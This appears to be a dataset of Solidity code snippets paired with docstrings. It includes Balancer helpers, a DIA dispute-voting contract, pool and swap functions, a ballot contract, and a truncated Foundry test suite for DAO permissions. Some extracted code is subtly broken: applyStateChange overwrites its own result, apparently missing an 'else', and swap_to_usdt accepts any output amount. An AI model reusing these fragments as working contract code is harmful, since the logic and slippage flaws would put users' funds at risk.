// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "../openzeppelin/IERC20.sol";
import "../../vault/interfaces/IAsset.sol";
import "../../vault/interfaces/IWETH.sol";
abstract contract AssetHelpers {
// solhint-disable-next-line var-name-mixedcase
IWETH private immutable _weth;
// Sentinel value used to indicate WETH with wrapping/unwrapping semantics. The zero address is a good choice for
// multiple reasons: it is cheap to pass as a calldata argument, it is a known invalid token and non-contract, and
// it is an address Pools cannot register as a token.
address private constant _ETH = address(0);
constructor(IWETH weth) {
_weth = weth;
}
// solhint-disable-next-line func-name-mixedcase
function _WETH() internal view returns (IWETH) {
return _weth;
}
/**
* @dev Returns true if `asset` is the sentinel value that represents ETH.
*/
function _isETH(IAsset asset) internal pure returns (bool) {
return address(asset) == _ETH;
}
/**
* @dev Translates `asset` into an equivalent IERC20 token address. If `asset` represents ETH, it will be translated
* to the WETH contract.
*/
function _translateToIERC20(IAsset asset) internal view returns (IERC20) {
return _isETH(asset) ? _WETH() : _asIERC20(asset);
}
/**
* @dev Same as `_translateToIERC20(IAsset)`, but for an entire array.
*/
function _translateToIERC20(IAsset[] memory assets) internal view returns (IERC20[] memory) {
IERC20[] memory tokens = new IERC20[](assets.length);
for (uint256 i = 0; i < assets.length; ++i) {
tokens[i] = _translateToIERC20(assets[i]);
}
return tokens;
}
/**
* @dev Interprets `asset` as an IERC20 token. This function should only be called on `asset` if `_isETH` previously
* returned false for it, that is, if `asset` is guaranteed not to be the ETH sentinel value.
*/
function _asIERC20(IAsset asset) internal pure returns (IERC20) {
return IERC20(address(asset));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
_require(address(this).balance >= amount, Errors.ADDRESS_INSUFFICIENT_BALANCE);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
_require(success, Errors.ADDRESS_CANNOT_SEND_VALUE);
}
}
|
Returns the specialization setting of a Pool. Due to how Pool IDs are created, this is done with no storage accesses and costs little gas./ 10 byte logical shift left to remove the nonce, followed by a 2 byte mask to remove the address. Casting a value into an enum results in a runtime check that reverts unless the value is within the enum's range. Passing an invalid Pool ID to this function would then result in an obscure revert with no reason string: we instead perform the check ourselves to help in error diagnosis. There are three Pool specialization settings: general, minimal swap info and two tokens, which correspond to values 0, 1 and 2. Because we have checked that `value` is within the enum range, we can use assembly to skip the runtime check. solhint-disable-next-line no-inline-assembly
|
function _getPoolSpecialization(bytes32 poolId) internal pure returns (PoolSpecialization specialization) {
uint256 value = uint256(poolId >> (10 * 8)) & (2**(2 * 8) - 1);
_require(value < 3, Errors.INVALID_POOL_ID);
assembly {
specialization := value
}
}
| 642,275
|
pragma solidity 0.4.25;
import "./DIAToken.sol";
import "zos-lib/contracts/Initializable.sol";
import "openzeppelin-eth/contracts/math/SafeMath.sol";
contract Dispute is Initializable {
using SafeMath for uint;
// DIA token
DIAToken private dia_;
// Event to emit when a dispute is open
event DisputeOpen(uint256 _id, uint _deadline);
// Event to emit when a dispute is finalized
event DisputeClosed(uint256 _id, bool _result);
// How many blocks should we wait before the dispute can be closed
uint private DISPUTE_LENGTH;
// How many token a user should stake on each vote
uint private VOTE_COST;
// Disputes
mapping (uint256=>Disputes) private disputes_;
// Rewards that each voter can claim
mapping (address=>uint256) public rewards_;
struct Disputes{
// Block number to finalize dispute
uint deadline;
// Array of voters
Voter[] voters;
// Voters index in the voters array
mapping(address=>uint) votersIndex;
}
// Voters
struct Voter {
// store voter address. Required for payout
address id;
// Vote. true:keep, false:drop
bool vote;
}
/**
* @dev Acts as constructor for upgradeable contracts
* @param _dia Address of DIA token contract.
*/
function initialize(DIAToken _dia) public initializer() {
// ~2 weeks. weeks x days x hours x minute x seconds
DISPUTE_LENGTH = 2*7*24*60*60;
VOTE_COST = 10;
dia_ = _dia;
}
/**
* @dev Cast vote.
* @param _id Data source identifier.
* @param _vote true for drop and false to keep.
*/
function vote(uint256 _id, bool _vote) public{
// check only new voters
require (disputes_[_id].votersIndex[msg.sender] == 0, "Address already voted");
require (disputes_[_id].deadline > 0, "Dispute not available");
dia_.transferFrom(msg.sender, this, VOTE_COST);
disputes_[_id].voters.push(Voter(msg.sender, _vote));
disputes_[_id].votersIndex[msg.sender] = disputes_[_id].voters.length;
}
/**
* @dev Start a dispute.
* @param _id data source identifier.
*/
function openDispute(uint256 _id) external {
require(disputes_[_id].deadline == 0, "Dispute already ongoing");
disputes_[_id].deadline = now+DISPUTE_LENGTH;
emit DisputeOpen(_id, disputes_[_id].deadline);
vote(_id, true);
}
/**
* @dev Once the deadline is reached this function should be called to get decision.
* @param _id data source id.
*/
function triggerDecision(uint256 _id) external{
// Maybe we can get rid of a require
require(disputes_[_id].deadline > 0, "Dispute not available");
require(now > disputes_[_id].deadline, "Dispute deadline not reached");
// prevent method to be called again before its done
disputes_[_id].deadline = 0;
uint256 dropVotes = 0;
uint256 keepVotes = 0;
uint totalVoters = disputes_[_id].voters.length;
for (uint i = 0; i<totalVoters; i++){
if (disputes_[_id].voters[i].vote)
dropVotes++;
else
keepVotes++;
}
bool drop = (dropVotes>keepVotes);
uint payment;
// use safe math to compute payment
if (drop)
payment = ((totalVoters).mul(VOTE_COST)).div(dropVotes);
else
payment = ((totalVoters).mul(VOTE_COST)).div(keepVotes);
for (i = 0; i < totalVoters; i++){
if (disputes_[_id].voters[i].vote == drop){
rewards_[disputes_[_id].voters[i].id] += payment;
}
delete disputes_[_id].votersIndex[disputes_[_id].voters[i].id];
}
delete disputes_[_id];
emit DisputeClosed(_id, drop);
}
/**
* @dev Claim rewards
*/
function claimRewards() external {
require(rewards_[msg.sender] > 0, "No balance to withdraw");
dia_.transfer(msg.sender, rewards_[msg.sender]);
rewards_[msg.sender] = 0;
}
/**
* @dev Check rewards balance for account calling the method
*/
function checkRewardsBalance() external view returns (uint256) {
return rewards_[msg.sender];
}
/**
* @dev get dispute status.
* @param _id data source id.
*/
function isDisputeOpen(uint256 _id) external view returns (bool) {
return (disputes_[_id].deadline>0);
}
/**
* @dev check if address voted already.
* @param _id data source identifier.
*/
function didCastVote(uint256 _id) external view returns (bool){
return (disputes_[_id].votersIndex[msg.sender]>0);
}
}
|
Acts as constructor for upgradeable contracts _dia Address of DIA token contract./ ~2 weeks. weeks x days x hours x minute x seconds
|
function initialize(DIAToken _dia) public initializer() {
DISPUTE_LENGTH = 2*7*24*60*60;
VOTE_COST = 10;
dia_ = _dia;
}
| 15,881,522
|
./full_match/5/0x7F22e1B9102595DcBeF8D041855fbA11c2485168/sources/LiquidityPool.sol
|
====================== apply token change to pool =====================
|
function applyStateChange(uint256 tokenAmount, bool foreign)
private
view
returns (uint256, uint256)
{
uint256 newTokenReserve = 0;
uint256 receivingTokenAmount = 0;
if (foreign) {
newTokenReserve = ABDKMathQuad.toUInt(
ABDKMathQuad.div(
ABDKMathQuad.fromUInt(kValue),
ABDKMathQuad.fromUInt(foreignTokenReserve + tokenAmount)
)
);
receivingTokenAmount = ABDKMathQuad.toUInt(
ABDKMathQuad.sub(
ABDKMathQuad.fromUInt(nativeTokenReserve),
ABDKMathQuad.fromUInt(newTokenReserve)
)
);
newTokenReserve = ABDKMathQuad.toUInt(
ABDKMathQuad.div(
ABDKMathQuad.fromUInt(kValue),
ABDKMathQuad.fromUInt(nativeTokenReserve + tokenAmount)
)
);
receivingTokenAmount = ABDKMathQuad.toUInt(
ABDKMathQuad.sub(
ABDKMathQuad.fromUInt(foreignTokenReserve),
ABDKMathQuad.fromUInt(newTokenReserve)
)
);
}
return (receivingTokenAmount, newTokenReserve);
}
| 1,885,771
|
/**
* Copyright (C) 2017-2018 Smartz, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND (express or implied).
*/
pragma solidity ^0.4.18;
/**
* @title Simple Ballot
* @author Vladimir Khramov <vladimir.khramov@smartz.io>
*/
contract SimpleBallot {
string public ballotName;
string[] public variants;
mapping(uint=>uint) votesCount;
mapping(address=>bool) public isVoted;
mapping(bytes32=>uint) variantIds;
function SimpleBallot() public payable {
ballotName = 'The best city ever';
variants.push(''); // for starting variants from 1 (non-programmers oriented)
variants.push('Moscow');
variantIds[sha256('Moscow')] = 1;
variants.push('New York');
variantIds[sha256('New York')] = 2;
variants.push('London');
variantIds[sha256('London')] = 3;
assert(variants.length <= 100);
}
modifier hasNotVoted() {
require(!isVoted[msg.sender]);
_;
}
modifier validVariantId(uint _variantId) {
require(_variantId>=1 && _variantId<variants.length);
_;
}
/**
* Vote by variant id
*/
function vote(uint _variantId)
public
validVariantId(_variantId)
hasNotVoted
{
votesCount[_variantId]++;
isVoted[msg.sender] = true;
}
/**
* Vote by variant name
*/
function voteByName(string _variantName)
public
hasNotVoted
{
uint variantId = variantIds[ sha256(_variantName) ];
require(variantId!=0);
votesCount[variantId]++;
isVoted[msg.sender] = true;
}
/**
* Get votes count of variant (by id)
*/
function getVotesCount(uint _variantId)
public
view
validVariantId(_variantId)
returns (uint)
{
return votesCount[_variantId];
}
/**
* Get votes count of variant (by name)
*/
function getVotesCountByName(string _variantName) public view returns (uint) {
uint variantId = variantIds[ sha256(_variantName) ];
require(variantId!=0);
return votesCount[variantId];
}
/**
* Get winning variant ID
*/
function getWinningVariantId() public view returns (uint id) {
uint maxVotes = votesCount[1];
id = 1;
for (uint i=2; i<variants.length; ++i) {
if (votesCount[i] > maxVotes) {
maxVotes = votesCount[i];
id = i;
}
}
}
/**
* Get winning variant name
*/
function getWinningVariantName() public view returns (string) {
return variants[ getWinningVariantId() ];
}
/**
* Get winning variant name
*/
function getWinningVariantVotesCount() public view returns (uint) {
return votesCount[ getWinningVariantId() ];
}
}
|
Vote by variant id/
|
function vote(uint _variantId)
public
validVariantId(_variantId)
hasNotVoted
{
votesCount[_variantId]++;
isVoted[msg.sender] = true;
}
| 6,459,502
|
./full_match/1/0x5E8d96fA6a11AaD3e78FC7e0D642c7DB9d9e09EE/sources/aave_protect/contracts/Aave_watch.sol
|
ETH -> USDT exchange
|
function swap_to_usdt(uint256 withdraw_eth_amount) public returns(uint256) {
address[] memory path = new address[](2);
path[0] = uniswap_router_v2.WETH();
path[1] = USDT_ADDR;
uint256[] memory amounts_repay = new uint256[](2);
uint256 amountOut = 1;
approveTo(uniswap_router_v2.WETH(), address(uniswap_router_v2));
amounts_repay = uniswap_router_v2.swapExactTokensForTokens(withdraw_eth_amount, amountOut, path, address(this), block.timestamp);
return amounts_repay[1];
}
| 3,205,209
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.7.0 <0.9.0;
import "./test.sol";
import "../contracts/Dao.sol";
import "../contracts/DaoContract.sol";
interface CheatCodes {
function prank(address) external;
function expectRevert(bytes calldata) external;
}
string constant NullString = "";
bytes constant NullBytes = "";
address constant NullAddress = address(0);
contract DaoTest is DSTest {
CheatCodes cheats = CheatCodes(HEVM_ADDRESS);
Dao dao;
string public gDaoName = "MyDao";
address public gTopicAddress = 0x0000000000000000000000000000000000012345;
uint32 public gMaxUsers = 100000;
uint256 gBatchSize = 1000;
uint32 gAccessUpdateAuthIdentifier = 0x853d9ed4;
uint32 gRemovalAuthIdentifier = 0x04939f12;
uint32 gNotUserIdentifier = 0x51ef2234;
address[] public gUsers = [
address(0x1),
address(0x2),
address(0x3),
address(0x4),
address(0x5),
address(0x6),
address(0x7),
address(0x8),
address(0x9)];
receive() external payable { }
function setUp() public {
dao = new Dao(gDaoName, gTopicAddress, address(this));
}
// =================
// Utility Functions
// =================
function CreateErorrCallData(uint32 _identifier, uint256 _arg1) internal pure returns(bytes memory){
return abi.encodePacked(_identifier, _arg1);
}
function CreateErorrCallData(uint32 _identifier, uint256 _arg1, uint256 _arg2) internal pure returns(bytes memory){
return abi.encodePacked(_identifier, _arg1, _arg2);
}
function bytesCmp(bytes memory a, bytes memory b) public pure returns(bool){
return keccak256(abi.encodePacked(a)) == keccak256(abi.encodePacked(b));
}
function addAUserNoImpersonateNoRevert(address user, AccessType userLevel) public {
addAUserNoImpersonate(user, userLevel, NullBytes);
}
function addAUserNoImpersonateWithRevert(address user, AccessType userLevel, bytes memory revertMessage) public {
addAUserNoImpersonate(user, userLevel, revertMessage);
}
function addAUserNoImpersonate(address user, AccessType userLevel, bytes memory revertMessage) public {
addAUser(user, userLevel, NullAddress, revertMessage);
}
function addAUserWithImpersonateNoRevert(address user, AccessType userLevel, address impersonateAs) public {
addAUserWithImpersonate(user, userLevel, impersonateAs, NullBytes);
}
function addAUserWithImpersonateWithRevert(address user, AccessType userLevel, address impersonateAs, bytes memory revertMessage) public {
addAUserWithImpersonate(user, userLevel, impersonateAs, revertMessage);
}
function addAUserWithImpersonate(address user, AccessType userLevel, address impersonateAs, bytes memory revertMessage) public {
addAUser(user, userLevel, impersonateAs, revertMessage);
}
function addAUser(address user, AccessType userLevel, address impersonateAs, bytes memory revertMessage) public {
address[] memory param = new address[](1);
param[0] = user;
AccessType origUserLevel = dao.getUser(user);
bool expectSuccess = true;
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.addUser(param, userLevel);
if(expectSuccess){
assertEq(uint(dao.getUser(user)), uint(userLevel));
} else {
assertEq(uint(dao.getUser(user)), uint(origUserLevel));
}
}
function removeAUserNoImpersonateNoRevert(address user) public {
removeAUserNoImpersonate(user, NullBytes);
}
function removeAUserNoImpersonateWithRevert(address user, bytes memory revertMessage) public {
removeAUserNoImpersonate(user, revertMessage);
}
function removeAUserNoImpersonate(address user, bytes memory revertMessage) public {
removeAUser(user, NullAddress, revertMessage);
}
function removeAUserWithImpersonateNoRevert(address user, address impersonateAs) public {
removeAUserWithImpersonate(user, impersonateAs, NullBytes);
}
function removeAUserWithImpersonateWithRevert(address user, address impersonateAs, bytes memory revertMessage) public {
removeAUserWithImpersonate(user, impersonateAs, revertMessage);
}
function removeAUserWithImpersonate(address user, address impersonateAs, bytes memory revertMessage) public {
removeAUser(user, impersonateAs, revertMessage);
}
function removeAUser(address user, address impersonateAs, bytes memory revertMessage) public {
address[] memory param = new address[](1);
param[0] = user;
AccessType origUserLevel = dao.getUser(user);
bool expectSuccess = true;
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.removeUser(param);
if(expectSuccess){
assertEq(uint(dao.getUser(user)), uint(0));
} else {
assertEq(uint(dao.getUser(user)), uint(origUserLevel));
}
}
function removeUsersNoImpersonateNoRevert(address[] memory users) public {
removeUsersNoImpersonate(users, NullBytes);
}
function removeUsersNoImpersonateWithRevert(address[] memory users, bytes memory revertMessage) public {
removeUsersNoImpersonate(users, revertMessage);
}
function removeUsersNoImpersonate(address[] memory users, bytes memory revertMessage) public {
removeUsers(users, NullAddress, revertMessage);
}
function removeUsersWithImpersonateNoRevert(address[] memory users, address impersonateAs) public {
removeUsersWithImpersonate(users, impersonateAs, NullBytes);
}
function removeUsersWithImpersonateWithRevert(address[] memory users, address impersonateAs, bytes memory revertMessage) public {
removeUsersWithImpersonate(users, impersonateAs, revertMessage);
}
function removeUsersWithImpersonate(address[] memory users, address impersonateAs, bytes memory revertMessage) public {
removeUsers(users, impersonateAs, revertMessage);
}
function removeUsers(address[] memory users, address impersonateAs, bytes memory revertMessage) public {
AccessType[] memory originalUserLevels = new AccessType[](users.length);
for (uint i = 0; i < users.length; i++){
originalUserLevels[i] = dao.getUser(users[i]);
}
bool expectSuccess = true;
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.removeUser(users);
if(expectSuccess){
for(uint i = 0; i < users.length; i++){
assertEq(uint(dao.getUser(users[i])), uint(0));
}
} else {
for (uint i = 0; i < users.length; i++){
assertEq(uint(dao.getUser(users[i])), uint(originalUserLevels[i]));
}
}
}
function removeAnOfficerNoImpersonateNoRevert(address user) public {
removeAnOfficerNoImpersonate(user, NullBytes);
}
function removeAnOfficerNoImpersonateWithRevert(address user, bytes memory revertMessage) public {
removeAnOfficerNoImpersonate(user, revertMessage);
}
function removeAnOfficerNoImpersonate(address user, bytes memory revertMessage) public {
removeAnOfficer(user, NullAddress, revertMessage);
}
function removeAnOfficerWithImpersonateNoRevert(address user, address impersonateAs) public {
removeAnOfficerWithImpersonate(user, impersonateAs, NullBytes);
}
function removeAnOfficerWithImpersonateWithRevert(address user, address impersonateAs, bytes memory revertMessage) public {
removeAnOfficerWithImpersonate(user, impersonateAs, revertMessage);
}
function removeAnOfficerWithImpersonate(address user, address impersonateAs, bytes memory revertMessage) public {
removeAnOfficer(user, impersonateAs, revertMessage);
}
function removeAnOfficer(address user, address impersonateAs, bytes memory revertMessage) public {
bool expectSuccess = true;
AccessType origUserLevel = dao.getUser(user);
if(impersonateAs != NullAddress){
cheats.prank(impersonateAs);
}
if(!bytesCmp(revertMessage, NullBytes)){
cheats.expectRevert(bytes(revertMessage));
expectSuccess = false;
}
dao.removeOfficer(user);
if(expectSuccess){
assertEq(uint(dao.getUser(user)), uint(0));
} else {
assertEq(uint(dao.getUser(user)), uint(origUserLevel));
}
}
function addMaxUsers(bool batched, AccessType level, uint256 batchSize) public {
uint160 i;
uint32 batches;
uint256 numUsersToAdd = gMaxUsers - dao.getUserCount();
// Force non batched if maxUsers is less than batchSize
if (gMaxUsers < batchSize){
batched = false;
}
if(batched){
address[] memory batch = new address[](batchSize);
// Add users in batches minus the last batch witch may be
// not a whole batch of batchSize.
for ( ;i < (numUsersToAdd - numUsersToAdd % batchSize); i++){
// Add user to batch
batch[i%batch.length] = address(i);
// Only send the batch to the contract when its full
if((i%batch.length) == (batch.length-1)){
emit log_named_uint("Batch", batches++);
dao.addUser(batch, level);
}
}
}
// If batched, now send final batch (not full batch)
// If non batched, send all users now in a single batch
if((numUsersToAdd - i) > 0) {
address[] memory finalBatch = new address[](numUsersToAdd - i);
for (uint160 j = 0; i < numUsersToAdd; i++)
{
finalBatch[j++] = address(i);
}
emit log_named_uint("- Batch", batches++);
dao.addUser(finalBatch, level);
}
assertEq(dao.getUserCount(), gMaxUsers);
}
// ===================================================
// ============
// Test getters
// ============
function testGetDaoNameBase() public {
assertEq(dao.getDaoName(), gDaoName);
}
function testGetMaxUsersBase() public {
assertEq(dao.getMaxUsers(), gMaxUsers);
}
function testGetTopicAddressBase() public {
assertEq(dao.getTopicAddress(), gTopicAddress);
}
function testGetUserCountBase() public {
assertEq(dao.getUserCount(), 1);
}
function testGetUserBase() public {
assertEq(uint(dao.getUser(address(this))), uint(AccessType.Officer));
}
function testGetBalance() public {
assertEq(dao.getBalance(), 0);
}
// ============
// Test setters
// ============
function testSetMaxUsers() public {
uint32 newMaxUsers = 500000;
dao.setMaxUsers(newMaxUsers);
assertEq(dao.getMaxUsers(), newMaxUsers);
dao.setMaxUsers(gMaxUsers);
assertEq(dao.getMaxUsers(), gMaxUsers);
}
function testSetMaxUsersAsNonOwner() public {
cheats.prank(gUsers[1]);
cheats.expectRevert('Only owner is allowed');
dao.setMaxUsers(1234);
}
// ==================================
// Test adding Member user via addUser
// ==================================
function testAddUserMemberAsOwner() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
}
function testAddUserMemberAsMember() public {
// Add gUsers[1] as a member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as a member
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Member, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserMemberAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as a member
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Member, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ==================================
// Test adding Admin user via addUser
// ==================================
function testAddUserAdminAsOwner() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
}
function testAddUserAdminAsMember() public {
// Add gUsers[1] as an Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Admin
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Admin, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserAdminAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
function testAddUserAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Admin
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Admin, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// ====================================
// Test adding Officer user via addUser
// ====================================
function testAddUserOfficerAsOwner() public {
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
}
function testAddUserOfficerAsMember() public {
// Add gUsers[1] as an Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserOfficerAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Officer
addAUserWithImpersonateWithRevert(gUsers[2], AccessType.Officer, gUsers[1], "Not authorized to grant");
assertEq(dao.getUserCount(), 2);
}
function testAddUserOfficerAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Have gUsers[1] try to add gUsers[2] as an Officer
cheats.prank(gUsers[1]);
addAUserWithImpersonateNoRevert(gUsers[2], AccessType.Officer, gUsers[1]);
assertEq(dao.getUserCount(), 3);
}
// =========================================
// Test removing Member user via removeUser
// =========================================
function testRemoveUserMemberAsOwner() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as owner
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserMemberAsMember() public {
// Add gUsers[1] and gUsers[2] as Members
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a member
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], "Not authorized to remove");
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserMemberAsAdmin() public {
// Add gUsers[1] as an Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserMemberAsOfficer() public {
// Add gUsers[1] as a Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as a Member
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Member);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
// =========================================
// Test removing Admin user via removeUser
// =========================================
function testRemoveUserAdminAsOwner() public {
// Add gUsers[1] as a Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as owner
removeAUserNoImpersonateNoRevert(gUsers[1]);
assertEq(dao.getUserCount(), 1);
}
function testRemoveUserAdminAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Member
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], "Not authorized to remove");
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserAdminAsAdmin() public {
// Add gUsers[1] and gUsers[2] as Admins
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Admin
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserAdminAsOfficer() public {
// Add gUsers[1] as an Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
// Add gUsers[2] as an Admin
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Admin);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is an Officer
removeAUserWithImpersonateNoRevert(gUsers[2], gUsers[1]);
assertEq(dao.getUserCount(), 2);
}
// =========================================
// Test removing Officer user via removeUser
// =========================================
function testRemoveUserOfficerAsOwner() public {
// Add gUsers[1] as a Officer
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Officer);
assertEq(dao.getUserCount(), 2);
// Remove gUsers[1] as owner
removeAUserNoImpersonateWithRevert(gUsers[1], CreateErorrCallData(gRemovalAuthIdentifier, uint256(AccessType.Admin), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 2);
}
function testRemoveUserOfficerAsMember() public {
// Add gUsers[1] as a Member
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Member);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Member
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], "Not authorized to remove");
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserOfficerAsAdmin() public {
// Add gUsers[1] as a Admin
addAUserNoImpersonateNoRevert(gUsers[1], AccessType.Admin);
// Add gUsers[2] as an Officer
addAUserNoImpersonateNoRevert(gUsers[2], AccessType.Officer);
assertEq(dao.getUserCount(), 3);
// Remove gUsers[2] as gUsers[1] who is a Admin
removeAUserWithImpersonateWithRevert(gUsers[2], gUsers[1], CreateErorrCallData(gRemovalAuthIdentifier, uint256(AccessType.Officer), uint256(AccessType.Officer)));
assertEq(dao.getUserCount(), 3);
}
function testRemoveUserOfficerAsOfficer() public {
